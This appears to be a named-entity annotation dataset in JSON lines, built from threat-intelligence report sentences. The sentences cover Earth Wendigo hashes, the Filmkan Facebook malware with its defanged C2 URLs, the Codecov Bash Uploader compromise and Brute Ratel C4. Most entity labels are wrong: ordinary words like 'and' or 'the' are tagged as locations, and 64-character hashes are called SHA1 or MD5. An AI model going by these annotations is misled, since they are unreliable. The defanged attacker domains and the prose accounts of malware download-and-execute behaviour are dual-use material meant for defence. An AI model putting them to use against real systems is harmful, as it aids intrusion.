attack script Trojan.JS.WENDIGOE.A 5251087bb2a0c87ac60c13f2edb7c39fb1ea26984fcc07e4cf8b39db31ce2b08 Earth Wendigo XSS attack script Trojan.JS.WENDIGOE.A 7fa9a58163dd233065a86f9ed6857ed698fc6e454e6b428ea93f4f711279fb61 Earth Wendigo XSS attack script Trojan.JS.WENDIGOE.A f568f823959be80a707e05791718c1c3c377da1b0db1865821c1cf7bc53b6084 Earth Wendigo XSS attack script Trojan.JS.WENDIGOE.A a54d58d5a5812abaede3e2012ae757d378fb51c7d3974eaa3a3f34511161c1db Earth Wendigo XSS attack script Trojan.JS.WENDIGOE.A 77c3d62cce21c2c348f825948042f7d36999e3be80db32ac98950e88db4140b1 Earth Wendigo XSS attack script Trojan.JS.WENDIGOE.A c0dabb52c73173ea0b597ae4ad90d67c23c85110b06aa3c9e110a852ebe04420 Earth Wendigo Service Worker script Trojan.JS.WENDIGOE.A efe541889f3da7672398d7ad00b8243e94d13cc3254ed59cd547ad172c1aa4be Earth Wendigo WebSocket JavaScript backdoor Backdoor.JS.WENDIGOE.A 2411b7b9ada83f6586278e0ad36b42a98513c9047a272a5dcb4a2754ba8e6f1d Earth Wendigo Shellcode Loader Trojan.Win32.WENDIGOE.A 1de54855b15fc55b4a865723224119029e51b381a11fda5d05159c74f50cb7de Earth Wendigo Shellcode Loader Trojan.Win32.WENDIGOE.A d935c9fe8e229f1dabcc0ceb02a9ce7130ae313dd18de0b1aca69741321a7d1b Earth Wendigo Shellcode Loader Trojan.Win32.WENDIGOE.B 50f23b6f4dff77ce4101242ebc3f12ea40156a409a7417ecf6564af344747b76 Earth Wendigo Shellcode Loader Trojan.Win32.WENDIGOE.C fab0c4e0992afe35c5e99bf9286db94313ffedc77d138e96af940423b2ca1cf2 Earth Wendigo Shellcode Loader Trojan.Win32.WENDIGOE.C 4d9c63127befad0b65078ccd821a9cd6c1dccec3e204a253751e7213a2d39e39 Earth Wendigo Shellcode Loader Trojan.Win32.WENDIGOE.C 25258044c838c6fc14a447573a4a94662170a7b83f08a8d76f96fbbec3ab08e2 Earth Wendigo Shellcode Loader Trojan.Win32.WENDIGOE.C 13952e13d310fb5102fd4a90e4eafe6291bc97e09eba50fedbc2f8900c80165f Earth Wendigo Shellcode Loader Trojan.Win32.WENDIGOE.C ccb7be5a5a73104106c669d7c58b13a55eb9db3b3b5a6d3097ac8b68f2555d39 Earth Wendigo Shellcode Loader Trojan.Win64.WENDIGOE.A 40a251184bb680edadfa9778a37135227e4191163882ccf170835e0658b1e0ed Earth Wendigo Shellcode Loader Trojan.Win64.WENDIGOE.B 0d6c3cc46be2c2c951c24c695558be1e2338635176fa34e8b36b3e751ccdb0de Cobalt Strike Trojan.Win32.COBALT.SM Tags Articles, News, Reports | APT & Targeted Attacks | Research","entities":[{"id":19254,"label":"threat-actor","start_offset":98,"end_offset":111},{"id":19255,"label":"threat-actor","start_offset":158,"end_offset":171},{"id":19256,"label":"threat-actor","start_offset":221,"end_offset":234},{"id":19257,"label":"threat-actor","start_offset":276,"end_offset":289},{"id":19258,"label":"threat-actor","start_offset":336,"end_offset":349},{"id":19259,"label":"threat-actor","start_offset":396,"end_offset":409},{"id":19260,"label":"threat-actor","start_offset":459,"end_offset":472},{"id":19261,"label":"threat-actor","start_offset":519,"end_offset":532},{"id":19262,"label":"threat-actor","start_offset":589,"end_offset":602},{"id":19263,"label":"threat-actor","start_offset":660,"end_offset":673},{"id":19264,"label":"threat-actor","start_offset":732,"end_offset":745},{"id":19265,"label":"SHA1","start_offset":750,"end_offset":814},{"id":19266,"label":"threat-actor","start_offset":816,"end_offset":829},{"id":19267,"label":"attack-pattern","start_offset":830,"end_offset":833},{"id":19268,"label":"SHA1","start_offset":871,"end_offset":935},{"id":19269,"label":"threat-actor","start_offset":937,"end_offset":950},{"id":19270,"label":"attack-pattern","start_offset":951,"end_offset":954},{"id":19271,"label":"SHA1","start_offset":992,"end_offset":1056},{"id":19272,"label":"threat-actor","start_offset":1058,"end_offset":1071},{"id":19273,"label":"attack-pattern","start_offset":1072,"end_offset":1075},{"id":19274,"label":"SHA2","start_offset":1113,"end_offset":1177},{"id":19275,"label":"threat-actor","start_offset":1179,"end_offset":1192},{"id":19276,"label":"attack-pattern","start_offset":1193,"end_offset":1196},{"id":19277,"label":"SHA2","start_offset":1234,"end_offset":1298},{"id":19278,"label":"threat-actor","start_offset":1300,"end_offset":1313},{"id":19279,"label":"attack-pattern","start_offset":1314,"end_offset":1317},{"id":19280,"label":"SHA2","start_offset":1355,"end_offset":1419},{"id":19281,"label":"threat-actor","start_offset":1421,"end_offset":1434},{"id":19282,"label":"attack-pattern","start_offset":1435,"end_offset":1438},{"id":19283,"label":"SHA2","start_offset":1476,"end_offset":1540},{"id":19284,"label":"threat-actor","start_offset":1542,"end_offset":1555},{"id":19285,"label":"attack-pattern","start_offset":1556,"end_offset":1559},{"id":19286,"label":"MD5","start_offset":1597,"end_offset":1661},{"id":19287,"label":"threat-actor","start_offset":1663,"end_offset":1676},{"id":19288,"label":"attack-pattern","start_offset":1677,"end_offset":1680},{"id":19289,"label":"SHA2","start_offset":1718,"end_offset":1782},{"id":19290,"label":"threat-actor","start_offset":1784,"end_offset":1797},{"id":19291,"label":"attack-pattern","start_offset":1798,"end_offset":1801},{"id":19292,"label":"SHA2","start_offset":1839,"end_offset":1903},{"id":19293,"label":"threat-actor","start_offset":1905,"end_offset":1918},{"id":19294,"label":"attack-pattern","start_offset":1919,"end_offset":1922},{"id":19295,"label":"SHA2","start_offset":1960,"end_offset":2024},{"id":19296,"label":"threat-actor","start_offset":2026,"end_offset":2039},{"id":19297,"label":"attack-pattern","start_offset":2040,"end_offset":2043},{"id":19298,"label":"SHA2","start_offset":2081,"end_offset":2145},{"id":19299,"label":"threat-actor","start_offset":2147,"end_offset":2160},{"id":19300,"label":"attack-pattern","start_offset":2161,"end_offset":2164},{"id":19301,"label":"SHA1","start_offset":2202,"end_offset":2266},{"id":19302,"label":"threat-actor","start_offset":2268,"end_offset":2281},{"id":19303,"label":"attack-pattern","start_offset":2282,"end_offset":2285},{"id":19304,"label":"SHA1","start_offset":2323,"end_offset":2387},{"id":19305,"label":"threat-actor","start_offset":2389,"end_offset":2402},{"id":19306,"label":"attack-pattern","start_offset":2403,"end_offset":2406},{"id":19307,"label":"SHA1","start_offset":2444,"end_offset":2508},{"id":19308,"label":"threat-actor","start_offset":2510,"end_offset":2523},{"id":19309,"label":"attack-pattern","start_offset":2524,"end_offset":2527},{"id":19310,"label":"SHA2","start_offset":2565,"end_offset":2630},{"id":19311,"label":"threat-actor","start_offset":2632,"end_offset":2645},{"id":19312,"label":"SHA2","start_offset":2691,"end_offset":2755},{"id":19313,"label":"threat-actor","start_offset":2757,"end_offset":2770},{"id":19314,"label":"SHA1","start_offset":2826,"end_offset":2890},{"id":19315,"label":"threat-actor","start_offset":2892,"end_offset":2905},{"id":19316,"label":"SHA1","start_offset":2949,"end_offset":3013},{"id":19317,"label":"threat-actor","start_offset":3015,"end_offset":3028},{"id":19318,"label":"SHA2","start_offset":3072,"end_offset":3136},{"id":19319,"label":"threat-actor","start_offset":3138,"end_offset":3151},{"id":19320,"label":"SHA1","start_offset":3195,"end_offset":3259},{"id":19321,"label":"threat-actor","start_offset":3261,"end_offset":3274},{"id":19322,"label":"SHA1","start_offset":3320,"end_offset":3384},{"id":19323,"label":"threat-actor","start_offset":3386,"end_offset":3399},{"id":19324,"label":"SHA2","start_offset":3445,"end_offset":3509},{"id":19325,"label":"threat-actor","start_offset":3511,"end_offset":3524},{"id":19326,"label":"SHA1","start_offset":3570,"end_offset":3634},{"id":19327,"label":"threat-actor","start_offset":3636,"end_offset":3649},{"id":19328,"label":"SHA1","start_offset":3695,"end_offset":3759},{"id":19329,"label":"threat-actor","start_offset":3761,"end_offset":3774},{"id":19330,"label":"SHA2","start_offset":3820,"end_offset":3884},{"id":19331,"label":"threat-actor","start_offset":3886,"end_offset":3899},{"id":19332,"label":"SHA1","start_offset":3945,"end_offset":4009},{"id":19333,"label":"threat-actor","start_offset":4011,"end_offset":4024},{"id":19334,"label":"SHA1","start_offset":4070,"end_offset":4134},{"id":19335,"label":"tools","start_offset":4136,"end_offset":4149},{"id":19336,"label":"location","start_offset":4212,"end_offset":4215}],"relations":[],"Comments":[]} -{"id":6242,"text":"This post is also available in: 日本語 (Japanese) On January 31, a security researcher named Mohammad Faghani posted an analysis of malware that was being distributed through Facebook posts.","entities":[{"id":19337,"label":"location","start_offset":5,"end_offset":9},{"id":19340,"label":"location","start_offset":70,"end_offset":78}],"relations":[],"Comments":[]} {"id":6243,"text":"Based on the number of “likes” the malware had generated, Faghani estimated that over 100,000 users had been infected with the malware.","entities":[],"relations":[],"Comments":[]} -{"id":6244,"text":"We have not been able to identify a common name for this malware and have given it the designation “Filmkan” based on domains it uses for command and control.","entities":[{"id":19345,"label":"location","start_offset":65,"end_offset":68},{"id":19346,"label":"location","start_offset":74,"end_offset":79},{"id":19347,"label":"location","start_offset":146,"end_offset":149}],"relations":[],"Comments":[]} -{"id":6245,"text":" Based on our analysis, this malware was most likely created by a Turkish actor.","entities":[{"id":19348,"label":"location","start_offset":41,"end_offset":45},{"id":19349,"label":"location","start_offset":46,"end_offset":52}],"relations":[],"Comments":[]} -{"id":6246,"text":"The malware contains many comments written in Turkish, the domains used for command and control were registered through a Turkish company and the social network profiles involved in the attack belong to Turkish speakers.","entities":[{"id":19351,"label":"location","start_offset":21,"end_offset":25},{"id":19353,"label":"location","start_offset":84,"end_offset":87},{"id":19355,"label":"location","start_offset":138,"end_offset":141}],"relations":[],"Comments":[]} {"id":6247,"text":" Filmkan is very flexible, giving it more capability than simple interaction with social networks.","entities":[],"relations":[],"Comments":[]} -{"id":6248,"text":"The overall motivation of this attack is not clear at this time, but the author of Filmkan has successfully assembled a large botnet in a short amount of time.","entities":[{"id":19358,"label":"location","start_offset":4,"end_offset":11},{"id":19359,"label":"location","start_offset":45,"end_offset":50},{"id":19360,"label":"location","start_offset":59,"end_offset":63},{"id":19362,"label":"location","start_offset":120,"end_offset":125},{"id":19363,"label":"location","start_offset":138,"end_offset":143},{"id":19364,"label":"location","start_offset":154,"end_offset":158}],"relations":[],"Comments":[]} -{"id":6249,"text":" While the initial report only contained sparse details, Faghani followed up with additional analysis on February 2, exposing more functionality related to the malware.","entities":[{"id":19365,"label":"location","start_offset":26,"end_offset":30}],"relations":[],"Comments":[]} {"id":6250,"text":"Our WildFire analysis cloud first picked up samples of this malware on January 22 and thus far we’ve collected 44 distinct samples the display the behavior described by Faghani.","entities":[{"id":19368,"label":"tools","start_offset":4,"end_offset":12},{"id":19369,"label":"location","start_offset":22,"end_offset":27},{"id":19371,"label":"location","start_offset":82,"end_offset":85}],"relations":[],"Comments":[]} -{"id":6251,"text":" At a high level, this malware consists of four components: The initial infection occurs when a user clicks on a link in a Facebook post, which claims to be a pornographic video.","entities":[{"id":19374,"label":"location","start_offset":6,"end_offset":16},{"id":19377,"label":"location","start_offset":133,"end_offset":137}],"relations":[],"Comments":[]} {"id":6252,"text":"After a few seconds the video tells the user they need to download an update for Flash player, which is the initial dropper executable.","entities":[{"id":19378,"label":"TIME","start_offset":6,"end_offset":19}],"relations":[],"Comments":[]} -{"id":6253,"text":"The attacker hosted the linked executables through Google’s cloud storage at the following URLs:","entities":[{"id":19380,"label":"location","start_offset":60,"end_offset":65}],"relations":[],"Comments":[]} {"id":6254,"text":" The Filmkan dropper has a Flash icon to help make it appear as a legitimate update. The author of Filmkan created the dropper using AutoHotkey (AHK), a legitimate tool for creating Windows applications using a custom scripting language.","entities":[{"id":19383,"label":"location","start_offset":165,"end_offset":169},{"id":19384,"label":"attack-pattern","start_offset":219,"end_offset":228}],"relations":[],"Comments":[]} -{"id":6255,"text":"AHK scripts are compiled into binaries that interpret the script code, making them portable to any Windows system.","entities":[{"id":19385,"label":"location","start_offset":12,"end_offset":15},{"id":19386,"label":"location","start_offset":78,"end_offset":82}],"relations":[],"Comments":[]} -{"id":6256,"text":"The AHK scripts included in the Filmkan binaries contain many debugging strings written in Turkish.","entities":[{"id":19388,"label":"location","start_offset":57,"end_offset":61}],"relations":[],"Comments":[]} -{"id":6257,"text":"The scripts have the following functionality: While the dropper is responsible for the initial installation and updating itself, the remaining functionality is contained in the Filmkan Chrome extension.","entities":[{"id":19390,"label":"location","start_offset":109,"end_offset":112},{"id":19393,"label":"location","start_offset":193,"end_offset":202}],"relations":[],"Comments":[]} {"id":6258,"text":" Chrome extensions allow developers to extend Google’s Chrome browser, typically by adding new functionality.","entities":[],"relations":[],"Comments":[]} -{"id":6259,"text":"Developers write extensions in JavaScript and HTML, which is typically included in a package along with resources necessary to operate the extension.","entities":[{"id":19396,"label":"location","start_offset":42,"end_offset":45},{"id":19397,"label":"location","start_offset":93,"end_offset":98},{"id":19398,"label":"location","start_offset":139,"end_offset":148}],"relations":[],"Comments":[]} -{"id":6260,"text":" The Filmkan dropper retrieves JavaScript using the installed wget.exe program from one of the three defined C2 servers.","entities":[{"id":19400,"label":"location","start_offset":84,"end_offset":87}],"relations":[],"Comments":[]} -{"id":6261,"text":"The dropper saves this JavaScript code as “bg.txt”, which is defined in the installed Chrome extension manifest as a “background” script.","entities":[{"id":19402,"label":"location","start_offset":93,"end_offset":102},{"id":19403,"label":"location","start_offset":103,"end_offset":111}],"relations":[],"Comments":[]} -{"id":6262,"text":"This script will run whenever the Chrome browser is open on the system.","entities":[{"id":19404,"label":"location","start_offset":12,"end_offset":16}],"relations":[],"Comments":[]} -{"id":6263,"text":" The content of the bg.txt file can be changed any time the attacker chooses.","entities":[{"id":19405,"label":"location","start_offset":5,"end_offset":12},{"id":19406,"label":"location","start_offset":32,"end_offset":35},{"id":19407,"label":"location","start_offset":51,"end_offset":55}],"relations":[],"Comments":[]} {"id":6264,"text":"The current version of the script contains three primary functions.","entities":[],"relations":[],"Comments":[]} -{"id":6265,"text":" The chrome extension closes any tab the user opens that matches the following URLs, effectively preventing the user from discovering or removing the extension. The extension downloads an array of JSON data from hxxp:\/\/www.filmver .com\/ahk\/get.js.","entities":[{"id":19409,"label":"location","start_offset":12,"end_offset":21},{"id":19410,"label":"location","start_offset":33,"end_offset":36},{"id":19411,"label":"location","start_offset":150,"end_offset":159},{"id":19412,"label":"location","start_offset":166,"end_offset":175}],"relations":[],"Comments":[]} -{"id":6266,"text":"The extension uses this data as a denylist, preventing the browser from loading URLs that contain any of the following strings.","entities":[{"id":19413,"label":"location","start_offset":4,"end_offset":13}],"relations":[],"Comments":[]} -{"id":6267,"text":" Blocking antivirus and security-related domains is a common tactic malware authors use to prevent users from removing an infection, but many of the domains included in this list are mysterious.","entities":[{"id":19414,"label":"location","start_offset":20,"end_offset":23},{"id":19415,"label":"location","start_offset":24,"end_offset":32},{"id":19416,"label":"location","start_offset":137,"end_offset":141},{"id":19417,"label":"location","start_offset":174,"end_offset":178},{"id":19418,"label":"location","start_offset":179,"end_offset":182}],"relations":[],"Comments":[]} -{"id":6268,"text":"JoyGame.com is a Turkish video game website, while exelansdealers.com was previously used to host a similar malicious Chrome extension.","entities":[{"id":19422,"label":"location","start_offset":93,"end_offset":97},{"id":19424,"label":"location","start_offset":125,"end_offset":134}],"relations":[],"Comments":[]} -{"id":6269,"text":" The third primary function of this extension is to download and execute JavaScript code from hxxp:\/\/www.filmver .com\/ahk\/user.php.","entities":[{"id":19426,"label":"location","start_offset":36,"end_offset":45},{"id":19427,"label":"location","start_offset":61,"end_offset":64}],"relations":[],"Comments":[]} -{"id":6270,"text":"This function makes the Filmkan extension very flexible, as the attacker can modify the script at any time.","entities":[{"id":19429,"label":"location","start_offset":32,"end_offset":41},{"id":19430,"label":"location","start_offset":73,"end_offset":76},{"id":19431,"label":"location","start_offset":102,"end_offset":106}],"relations":[],"Comments":[]} {"id":6271,"text":" When Faghani first published his analysis this component of the malware was forcing the user’s Facebook account to “like” specific posts on a community page titled Sabır.","entities":[{"id":19433,"label":"location","start_offset":143,"end_offset":152},{"id":19434,"label":"malware","start_offset":153,"end_offset":157}],"relations":[],"Comments":[]} -{"id":6272,"text":"Some of these posts garnered over 100,000 likes, despite containing very little content.","entities":[{"id":19437,"label":"location","start_offset":73,"end_offset":79},{"id":19438,"label":"location","start_offset":80,"end_offset":87}],"relations":[],"Comments":[]} -{"id":6273,"text":" The latest version of the script no longer forces the user to like these posts, instead it causes the user to follow two accounts on Twitter and a third account on Facebook. Other than all three of these accounts belonging to Turkish individuals, the connection between these accounts and this attack is unclear.","entities":[{"id":19441,"label":"location","start_offset":142,"end_offset":145},{"id":19446,"label":"location","start_offset":264,"end_offset":271},{"id":19447,"label":"location","start_offset":287,"end_offset":290}],"relations":[],"Comments":[]} -{"id":6274,"text":" The script also includes a tracking URL hosted by amung.us, which allows the attacker to identify how many users are actively infected with the malware.","entities":[{"id":19449,"label":"location","start_offset":103,"end_offset":107},{"id":19450,"label":"location","start_offset":114,"end_offset":117}],"relations":[],"Comments":[]} -{"id":6275,"text":"A snapshot of the current number of infections follows: hxxp:\/\/ whos.amung .us\/swidget\/hcfj8xyq9p94 The attacker frequently updates this tracking URL, most likely to keep track of users who are currently executing the latest malicious extension code.","entities":[{"id":19451,"label":"location","start_offset":153,"end_offset":157},{"id":19452,"label":"location","start_offset":158,"end_offset":164},{"id":19453,"label":"location","start_offset":192,"end_offset":195},{"id":19454,"label":"location","start_offset":237,"end_offset":246}],"relations":[],"Comments":[]} -{"id":6276,"text":" The full content of the latest script follows.","entities":[{"id":19455,"label":"location","start_offset":10,"end_offset":17}],"relations":[],"Comments":[]} -{"id":6277,"text":" Filmkan does not exploit any software vulnerabilities and thus far has relied on social engineering to infect users.","entities":[{"id":19457,"label":"location","start_offset":55,"end_offset":58}],"relations":[],"Comments":[]} {"id":6278,"text":"Users should be suspicious of any message indicating that an update for Flash is available in Google Chrome, as Chrome contains an integrated Flash runtime that is updated by Google.","entities":[],"relations":[],"Comments":[]} {"id":6279,"text":" Organizations should block access to the following domains to prevent Filmkan from receiving updates from the attacker.","entities":[],"relations":[],"Comments":[]} -{"id":6280,"text":"These domains are the primary weakness of Filmkan, as shutting all three of them down simultaneously would remove the attackers access to the botnet. Thus far, WildFire has automatically identified Filmkan droppers with the following MD5 hashes: Sign up to receive the latest news, cyber threat intelligence and research from us Please enter your email address! Please mark, I'm not a robot!","entities":[{"id":19461,"label":"location","start_offset":14,"end_offset":17},{"id":19464,"label":"location","start_offset":76,"end_offset":80},{"id":19467,"label":"location","start_offset":310,"end_offset":313},{"id":19468,"label":"location","start_offset":339,"end_offset":344},{"id":19469,"label":"location","start_offset":373,"end_offset":377}],"relations":[],"Comments":[]} -{"id":6281,"text":"By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement. ","entities":[{"id":19470,"label":"location","start_offset":55,"end_offset":58}],"relations":[],"Comments":[]} -{"id":6282,"text":"This post is also available in: 日本語 (Japanese) On April 16, Codecov, an online platform and software company that provides code testing reports and statistics, disclosed that an adversary modified their Bash Uploader script.","entities":[{"id":19471,"label":"location","start_offset":5,"end_offset":9},{"id":19475,"label":"location","start_offset":94,"end_offset":97},{"id":19476,"label":"location","start_offset":150,"end_offset":153}],"relations":[],"Comments":[]} {"id":6283,"text":"The Bash Uploader script allows its customers to send code coverage reports to the Codecov platform for analysis.","entities":[],"relations":[],"Comments":[]} -{"id":6284,"text":" Codecov’s investigation found that beginning January 31, a threat actor made periodic, unauthorized alterations to the Bash Uploader script.","entities":[{"id":19482,"label":"location","start_offset":73,"end_offset":77}],"relations":[],"Comments":[]} -{"id":6285,"text":"The script was modified to export information out of their users’ continuous integration (CI) environments to a third-party server outside of Codecov’s infrastructure.","entities":[{"id":19484,"label":"location","start_offset":27,"end_offset":33}],"relations":[],"Comments":[]} -{"id":6286,"text":"This information could include, but is not limited to, credentials, tokens, services, datastores and application code.","entities":[{"id":19486,"label":"location","start_offset":97,"end_offset":100}],"relations":[],"Comments":[]} -{"id":6287,"text":" This incident is not limited to clients who only used the Bash Uploader script.","entities":[{"id":19487,"label":"location","start_offset":46,"end_offset":50}],"relations":[],"Comments":[]} -{"id":6288,"text":"This script can also be found in other tools such as: As of the time of this writing, based on signatures and indicators that have been observed, Palo Alto Networks customers are protected across our product ecosystem, with specific protections deployed in the following products and subscriptions:","entities":[{"id":19489,"label":"location","start_offset":12,"end_offset":15},{"id":19490,"label":"location","start_offset":65,"end_offset":69},{"id":19491,"label":"location","start_offset":107,"end_offset":110},{"id":19493,"label":"location","start_offset":176,"end_offset":179},{"id":19494,"label":"location","start_offset":281,"end_offset":284}],"relations":[],"Comments":[]} {"id":6289,"text":" Organizations using Codecov’s Bash Uploader script, or one of the other impacted tools should carefully evaluate their exposure to this threat.","entities":[],"relations":[],"Comments":[]} -{"id":6290,"text":"We recommend customers take advantage of the protections listed above and implement the remediation actions recommended by Codecov to limit their impact.","entities":[{"id":19497,"label":"location","start_offset":70,"end_offset":73},{"id":19499,"label":"location","start_offset":146,"end_offset":152}],"relations":[],"Comments":[]} -{"id":6291,"text":" Sign up to receive the latest news, cyber threat intelligence and research from us Please enter your email address!","entities":[{"id":19500,"label":"location","start_offset":64,"end_offset":67},{"id":19501,"label":"location","start_offset":93,"end_offset":98}],"relations":[],"Comments":[]} -{"id":6292,"text":" Please mark, I'm not a robot!","entities":[{"id":19502,"label":"location","start_offset":8,"end_offset":12}],"relations":[],"Comments":[]} -{"id":6293,"text":" By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.","entities":[{"id":19503,"label":"location","start_offset":56,"end_offset":59}],"relations":[],"Comments":[]} {"id":6294,"text":"This post is also available in: 日本語 (Japanese) Unit 42 continuously hunts for new and unique malware samples that match known advanced persistent threat (APT) patterns and tactics.","entities":[{"id":19504,"label":"location","start_offset":5,"end_offset":9},{"id":19506,"label":"identity","start_offset":53,"end_offset":60},{"id":19507,"label":"location","start_offset":88,"end_offset":91},{"id":19508,"label":"location","start_offset":160,"end_offset":163},{"id":19509,"label":"location","start_offset":174,"end_offset":177}],"relations":[],"Comments":[]} -{"id":6295,"text":"On May 19, one such sample was uploaded to VirusTotal, where it received a benign verdict from all 56 vendors that evaluated it.","entities":[{"id":19512,"label":"location","start_offset":20,"end_offset":26}],"relations":[],"Comments":[]} -{"id":6296,"text":"Beyond the obvious detection concerns, we believe this sample is also significant in terms of its malicious payload, command and control (C2), and packaging.","entities":[{"id":19515,"label":"location","start_offset":55,"end_offset":61},{"id":19516,"label":"location","start_offset":125,"end_offset":128},{"id":19517,"label":"location","start_offset":143,"end_offset":146}],"relations":[],"Comments":[]} {"id":6297,"text":" The sample contained a malicious payload associated with Brute Ratel C4 (BRc4), the newest red-teaming and adversarial attack simulation tool to hit the market.","entities":[{"id":19518,"label":"location","start_offset":5,"end_offset":11},{"id":19520,"label":"tools","start_offset":74,"end_offset":78},{"id":19521,"label":"location","start_offset":104,"end_offset":107},{"id":19522,"label":"location","start_offset":138,"end_offset":142},{"id":19523,"label":"identity","start_offset":146,"end_offset":149},{"id":19524,"label":"location","start_offset":154,"end_offset":160}],"relations":[],"Comments":[]} -{"id":6298,"text":"While this capability has managed to stay out of the spotlight and remains less commonly known than its Cobalt Strike brethren, it is no less sophisticated.","entities":[{"id":19525,"label":"location","start_offset":63,"end_offset":66},{"id":19527,"label":"location","start_offset":118,"end_offset":126}],"relations":[],"Comments":[]} -{"id":6299,"text":"Instead, this tool is uniquely dangerous in that it was specifically designed to avoid detection by endpoint detection and response (EDR) and antivirus (AV) capabilities.","entities":[{"id":19528,"label":"location","start_offset":14,"end_offset":18},{"id":19529,"label":"location","start_offset":119,"end_offset":122},{"id":19530,"label":"location","start_offset":138,"end_offset":141}],"relations":[],"Comments":[]} -{"id":6300,"text":"Its effectiveness at doing so can clearly be witnessed by the aforementioned lack of detection across vendors on VirusTotal.","entities":[{"id":19531,"label":"location","start_offset":30,"end_offset":33},{"id":19532,"label":"location","start_offset":77,"end_offset":81}],"relations":[],"Comments":[]} -{"id":6301,"text":"In terms of C2, we found that the sample called home to an Amazon Web Services (AWS) IP address located in the United States over port 443.","entities":[{"id":19534,"label":"location","start_offset":34,"end_offset":40},{"id":19535,"label":"location","start_offset":48,"end_offset":52}],"relations":[],"Comments":[]} -{"id":6302,"text":"Further, the X.509 certificate on the listening port was configured to impersonate Microsoft with an organization name of “Microsoft” and organization unit of “Security.”","entities":[{"id":19540,"label":"location","start_offset":134,"end_offset":137},{"id":19541,"label":"location","start_offset":160,"end_offset":168}],"relations":[],"Comments":[]} {"id":6303,"text":"Additionally, pivoting on the certificate and other artifacts, we identified a total of 41 malicious IP addresses, nine BRc4 samples, and an additional three organizations across North and South America who have been impacted by this tool so far.","entities":[{"id":19542,"label":"location","start_offset":42,"end_offset":45},{"id":19545,"label":"tools","start_offset":120,"end_offset":124},{"id":19546,"label":"location","start_offset":134,"end_offset":137},{"id":19549,"label":"location","start_offset":234,"end_offset":238}],"relations":[],"Comments":[]} {"id":6304,"text":" This unique sample was packaged in a manner consistent with known APT29 techniques and their recent campaigns, which leveraged well-known cloud storage and online collaboration applications.","entities":[{"id":19550,"label":"location","start_offset":13,"end_offset":19},{"id":19551,"label":"threat-actor","start_offset":67,"end_offset":72},{"id":19552,"label":"location","start_offset":84,"end_offset":87},{"id":19553,"label":"location","start_offset":139,"end_offset":144},{"id":19554,"label":"location","start_offset":153,"end_offset":156}],"relations":[],"Comments":[]} -{"id":6305,"text":"Specifically, this sample was packaged as a self-contained ISO.","entities":[{"id":19555,"label":"location","start_offset":19,"end_offset":25}],"relations":[],"Comments":[]} -{"id":6306,"text":"Included in the ISO was a Windows shortcut (LNK) file, a malicious payload DLL and a legitimate copy of Microsoft OneDrive Updater.","entities":[{"id":19556,"label":"location","start_offset":79,"end_offset":82}],"relations":[],"Comments":[]} {"id":6307,"text":"Attempts to execute the benign application from the ISO-mounted folder resulted in the loading of the malicious payload as a dependency through a technique known as DLL search order hijacking.","entities":[{"id":19559,"label":"attack-pattern","start_offset":165,"end_offset":191}],"relations":[],"Comments":[]} -{"id":6308,"text":"However, while packaging techniques alone are not enough to definitively attribute this sample to APT29, these techniques demonstrate that users of the tool are now applying nation-state tradecraft to deploy BRc4.","entities":[{"id":19560,"label":"location","start_offset":42,"end_offset":45},{"id":19561,"label":"location","start_offset":88,"end_offset":94},{"id":19563,"label":"location","start_offset":152,"end_offset":156},{"id":19564,"label":"location","start_offset":157,"end_offset":160}],"relations":[],"Comments":[]} -{"id":6309,"text":" Overall, we believe this research is significant in that it identifies not only a new red team capability that is largely undetectable by most cybersecurity vendors, but more importantly, a capability with a growing user base that we assess is now leveraging nation-state deployment techniques.","entities":[{"id":19566,"label":"location","start_offset":1,"end_offset":8},{"id":19567,"label":"location","start_offset":76,"end_offset":80},{"id":19568,"label":"location","start_offset":139,"end_offset":143}],"relations":[],"Comments":[]} -{"id":6310,"text":"This blog provides an overview of BRc4, a detailed analysis of the malicious sample, a comparison between the packaging of this sample and a recent APT29 sample, and a list of indicators of compromise (IoCs) that can be used to hunt for this activity.","entities":[{"id":19570,"label":"location","start_offset":77,"end_offset":83},{"id":19571,"label":"location","start_offset":98,"end_offset":105},{"id":19572,"label":"location","start_offset":128,"end_offset":134},{"id":19573,"label":"location","start_offset":135,"end_offset":138},{"id":19575,"label":"location","start_offset":154,"end_offset":160},{"id":19576,"label":"location","start_offset":162,"end_offset":165},{"id":19577,"label":"location","start_offset":168,"end_offset":172},{"id":19578,"label":"location","start_offset":213,"end_offset":216},{"id":19579,"label":"location","start_offset":228,"end_offset":232}],"relations":[],"Comments":[]} {"id":6311,"text":" We encourage all security vendors to create protections to detect activity from this tool and all organizations to be on alert for activity from this tool. Palo Alto Networks customers receive protections from the threats described in this blog through Threat Prevention, Cortex XDR and WildFire malware analysis.","entities":[{"id":19580,"label":"location","start_offset":18,"end_offset":26},{"id":19581,"label":"location","start_offset":86,"end_offset":90},{"id":19582,"label":"location","start_offset":91,"end_offset":94},{"id":19583,"label":"location","start_offset":122,"end_offset":127},{"id":19584,"label":"location","start_offset":151,"end_offset":155},{"id":19587,"label":"location","start_offset":285,"end_offset":288},{"id":19588,"label":"malware","start_offset":289,"end_offset":297}],"relations":[],"Comments":[]} -{"id":6312,"text":" Full visualization of the techniques observed, relevant courses of action and indicators of compromise (IoCs) related to this report can be found in the Unit 42 ATOM viewer. Brute Ratel C4 Overview From Click to Brute Packaging of Roshan_CV.iso Modification of Version.dll x64","entities":[{"id":19589,"label":"location","start_offset":68,"end_offset":74},{"id":19590,"label":"location","start_offset":75,"end_offset":78},{"id":19591,"label":"location","start_offset":134,"end_offset":137}],"relations":[],"Comments":[]} {"id":6313,"text":"Shellcode","entities":[],"relations":[],"Comments":[]} -{"id":6314,"text":"Decrypted OneDrive.Update Target Network Infrastructure Identifying OneDrive.","entities":[{"id":19594,"label":"location","start_offset":26,"end_offset":32}],"relations":[],"Comments":[]} {"id":6315,"text":"Update Badger_x64.exe","entities":[],"relations":[],"Comments":[]} {"id":6316,"text":"Employment","entities":[],"relations":[],"Comments":[]} -{"id":6317,"text":"Other Samples and Infrastructure Protections and Mitigations Conclusion Indicators of Compromise Additional Resources","entities":[{"id":19595,"label":"location","start_offset":14,"end_offset":17},{"id":19596,"label":"location","start_offset":45,"end_offset":48}],"relations":[],"Comments":[]} -{"id":6318,"text":" Brute Ratel C4 made its initial debut as a penetration testing tool in December 2020.","entities":[{"id":19598,"label":"location","start_offset":16,"end_offset":20},{"id":19599,"label":"location","start_offset":64,"end_offset":68}],"relations":[],"Comments":[]} {"id":6319,"text":"At the time, its development was a part-time effort by a security engineer named Chetan Nayak (aka Paranoid Ninja) living in 